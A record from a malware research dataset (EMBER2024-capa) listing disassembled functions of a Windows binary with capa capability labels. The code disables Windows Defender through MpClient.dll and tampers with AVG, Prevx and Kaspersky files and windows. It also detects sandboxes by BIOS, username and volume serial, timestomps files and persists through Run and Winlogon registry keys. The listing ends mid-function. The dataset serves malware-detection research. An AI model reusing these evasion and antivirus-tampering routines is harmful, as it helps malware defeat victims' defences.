joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4014f7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.kernel32.dll_Process32First]
mov edi, dword [sym.imp.shlwapi.dll_StrStrIA]
mov ebx, dword [sym.imp.kernel32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x40156b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x401517
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401560
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401560
test byte [esp + 0xc], 2
jne 0x401560
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x401536
Function at 0x401a30
Capabilities:
Access pe header
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401b53
lea ecx, [ebp - 4]
push ecx
jmp loc.0045d000
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401b60
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401c25
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401bcc
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401bcc
test byte [ebp - 8], 2
jne 0x401bcc
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401c25
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.kernel32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401c25
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401c25
test byte [ebp + 8], 2
jne 0x401c25
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401c70
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.msvcrt.dll_memset
mov ebx, dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x401d08
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x18
jne 0x401d6b
call dword [sym.imp.kernel32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401d6b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x401cff
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401cff
test byte [ebp - 4], 2
jne 0x401cff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.kernel32.dll_Module32First]
test eax, eax
je 0x401cd5
mov edi, dword [sym.imp.shlwapi.dll_StrStrIA]
mov ebx, dword [sym.imp.kernel32.dll_Module32Next]
push 0x404570
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x401d4e
push 0x404578
push eax
call edi
test eax, eax
jne 0x401d61
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x401d30
jmp 0x401cd5
mov edi, 1
jmp 0x401cd8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401fc0
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405228
push 0x403b12
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
test eax, eax
js 0x402087
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.shlwapi.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402087
push str.MpClient.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402087
push str.WDEnable
push esi
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, ebx
je 0x402087
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402087
test esi, esi
je 0x402092
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402230
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.kernel32.dll_DeviceIoControl]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402324
push edi
mov edi, dword [sym.imp.kernel32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402330
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402415
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402360
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402380
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x404dac]
mov dword [eax], ecx
mov ecx, dword [0x404db0]
mov dword [eax + 4], edx
mov edx, dword [0x404db4]
mov dword [eax + 8], ecx
mov ecx, dword [0x404db8]
mov dword [eax + 0xc], edx
mov dl, byte [0x404dbc]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4023c4
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x404dc4]
mov dword [eax], ecx
mov ecx, dword [0x404dc8]
mov dword [eax + 4], edx
mov edx, dword [0x404dcc]
mov dword [eax + 8], ecx
mov ecx, dword [0x404dd0]
mov dword [eax + 0xc], edx
mov dl, byte [0x404dd4]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.kernel32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402420
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402550
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402452
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x404ddc]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404de0]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404de4]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404de8]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40254f
push ebx
push edi
mov edi, dword [sym.imp.kernel32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.kernel32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402810
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.advapi32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x404490
push 0x80000002
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x4028dd
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x404480
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.shlwapi.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40448c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028c0
sub eax, edx
mov edx, dword [ebp - 4]
inc eax
push eax
push esi
push 1
push 0
lea ecx, [ebp - 0x10c]
push ecx
push edx
jmp 0x40291e
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x4044c8
push 0x80000001
call edi
test eax, eax
jne 0x402924
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402905
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
push 0x4044f8
push ecx
call dword [sym.imp.advapi32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
pop edi
test eax, eax
je 0x40293d
push eax
call dword [sym.imp.advapi32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402c10
Capabilities:
Get session integrity level
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x404ecc
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
call fcn.00403900
test eax, eax
je 0x402c4c
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
call fcn.004020b0
call fcn.00401fc0
push 0
push str.____AVP.Root
call dword [sym.imp.user32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402c81
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.user32.dll_PostMessageA]
call fcn.00402240
call fcn.00402330
call fcn.00402420
call fcn.00402560
mov ebx, dword [sym.imp.shell32.dll_IsUserAnAdmin]
call ebx
test eax, eax
jne 0x402cc3
call fcn.00401d80
test eax, eax
je 0x402cb2
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
call fcn.00403440
test eax, eax
je 0x402cc3
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
call ebx
push 0x404550
mov edi, eax
mov dword [ebp - 8], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x402cfc
push 0x404560
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402cfc
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402d4e
test edi, edi
je 0x402d1c
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.shlwapi.dll_StrStrIA]
test eax, eax
je 0x402d3f
lea esi, [ebp - 0x10c]
call fcn.00402810
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
call fcn.00401580
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x402e38
call fcn.00402950
call fcn.004011c0
jmp 0x402e38
test edi, edi
je 0x402ddd
push str._apppatch_
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.shlwapi.dll_StrStrIA]
test eax, eax
je 0x402d81
lea esi, [ebp - 0x10c]
call fcn.00402810
call fcn.004027b0
jmp 0x402e38
call fcn.00402950
push 0x404e50
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402dd6
push 0x404e50
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x402db7
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404e6c
jne 0x402dc7
mov eax, 0x404e7c
push eax
call fcn.004014b0
test eax, eax
je 0x402dd6
call fcn.00401580
call fcn.004011c0
jmp 0x402e38
lea esi, [ebp - 0x10c]
call fcn.00402810
push 0x404e50
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402e38
push 0x404e50
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x402e19
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404e6c
jne 0x402e29
mov eax, 0x404e7c
push eax
call fcn.004014b0
test eax, eax
je 0x402e38
call fcn.00401580
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x4033a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
je 0x40342d
cmp dword [ebp - 0x8c], 2
jne 0x40342d
cmp dword [ebp - 0x98], 6
jb 0x40342d
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x40342d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.advapi32.dll_GetTokenInformation]
test eax, eax
je 0x403423
cmp dword [ebp - 8], 4
jne 0x403423
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403900
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push edi
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push 0x80000002
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4039ad
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push 0x80000002
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
je 0x40397b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x4039ad
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp byte [ebp - 0x61c], 0x51
jne 0x4039ad
cmp byte [ebp - 0x61b], 0x45
jne 0x4039ad
cmp byte [ebp - 0x61a], 0x4d
jne 0x4039ad
cmp byte [ebp - 0x619], 0x55
je 0x403acc
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.user32.dll_CharUpperA]
mov esi, dword [sym.imp.msvcrt.dll_strstr]
lea eax, [ebp - 0x21c]
push str.SANDBOX
push eax
call esi
add esp, 8
test eax, eax
jne 0x403acb
lea ecx, [ebp - 0x21c]
push str.MALNETVM
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403acb
lea edx, [ebp - 0x21c]
push str.VIRUSCLONE
push edx
call esi
add esp, 8
test eax, eax
jne 0x403acb
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.kernel32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x118]
push edx
mov byte [ebp - 0x115], 0
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
cmp eax, 0xcd1a40
je 0x403acb
cmp eax, 0x6cbbc508
je 0x403acb
cmp eax, 0x774e1682
je 0x403acb
cmp eax, 0x837f873e
je 0x403acb
cmp eax, 0x8b6f64bc
je 0x403acb
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.shlwapi.dll_StrStrIA]
push str._sand_box_
lea ecx, [ebp - 0x118]
push ecx
call esi
test eax, eax
jne 0x403acb
push str.cwsandbox_
lea edx, [ebp - 0x118]
push edx
call esi
test eax, eax
jne 0x403acb
push str._sandbox_
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
jne 0x403acb
xor edi, edi
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403ae0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403b09
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403af4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x437947
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x74], 0
je 0x4379b6
mov edi, dword [esi + 0x20]
add edi, dword [esi + 0x74]
cmp dword [edi + 8], 6
je 0x437965
push 5
pop edx
call fcn.00437ae7
mov ecx, dword [esi + 8]
mov eax, dword [ecx - 0x10]
mov dword [ecx], eax
mov eax, dword [ecx - 0xc]
mov dword [ecx + 4], eax
mov eax, dword [ecx - 8]
mov dword [ecx + 8], eax
mov ecx, dword [esi + 8]
mov eax, dword [edi]
mov dword [ecx - 0x10], eax
mov eax, dword [edi + 4]
mov dword [ecx - 0xc], eax
mov eax, dword [edi + 8]
mov dword [ecx - 8], eax
mov eax, dword [esi + 0x1c]
sub eax, dword [esi + 8]
cmp eax, 0x10
jg 0x4379a2
xor edx, edx
mov ecx, esi
inc edx
call fcn.00437d07
add dword [esi + 8], 0x10
mov ecx, esi
mov edx, dword [esi + 8]
push 1
add edx, 0xffffffe0
call fcn.0043825f
pop ecx
push 2
pop edx
mov ecx, esi
pop edi
pop esi
jmp fcn.00437ae7

Function at 0x437ae7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov ebx, edx
mov eax, dword [esi + 0x70]
test eax, eax
je 0x437b0b
mov dword [eax + 0x44], ebx
mov eax, dword [esi + 0x70]
push 1
add eax, 4
push eax
call fcn.004971c0
mov eax, dword [esi + 0x10]
mov byte [esi + 6], bl
cmp dword [eax + 0x58], 0
je 0x437b57
mov edx, dword [esi + 0x28]
mov dword [esi + 0x14], edx
mov edx, dword [edx]
mov dword [esi + 0xc], edx
call fcn.0043bffa
push dword [esi + 0xc]
mov edx, ebx
mov ecx, esi
call fcn.00437a62
mov ax, word [esi + 0x36]
pop ecx
mov ecx, esi
mov word [esi + 0x34], ax
mov byte [esi + 0x39], 1
call fcn.00437abf
mov eax, dword [esi + 0x10]
and dword [esi + 0x74], 0
and dword [esi + 0x70], 0
push esi
call dword [eax + 0x58]
pop ecx
push 1
call fcn.00494982
int3

Function at 0x43ec51
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x4fc504]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov eax, ecx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push edi
mov dword [ebp - 0x214], ebx
mov edi, 0x200
mov dword [ebp - 0x218], eax
mov ebx, edx
lea eax, [ebp - 0x218]
push eax
call sym.SciTE.exe_luaL_prepbuffer
pop ecx
cmp edi, esi
jbe 0x43eca6
mov edi, esi
push ebx
push edi
invalid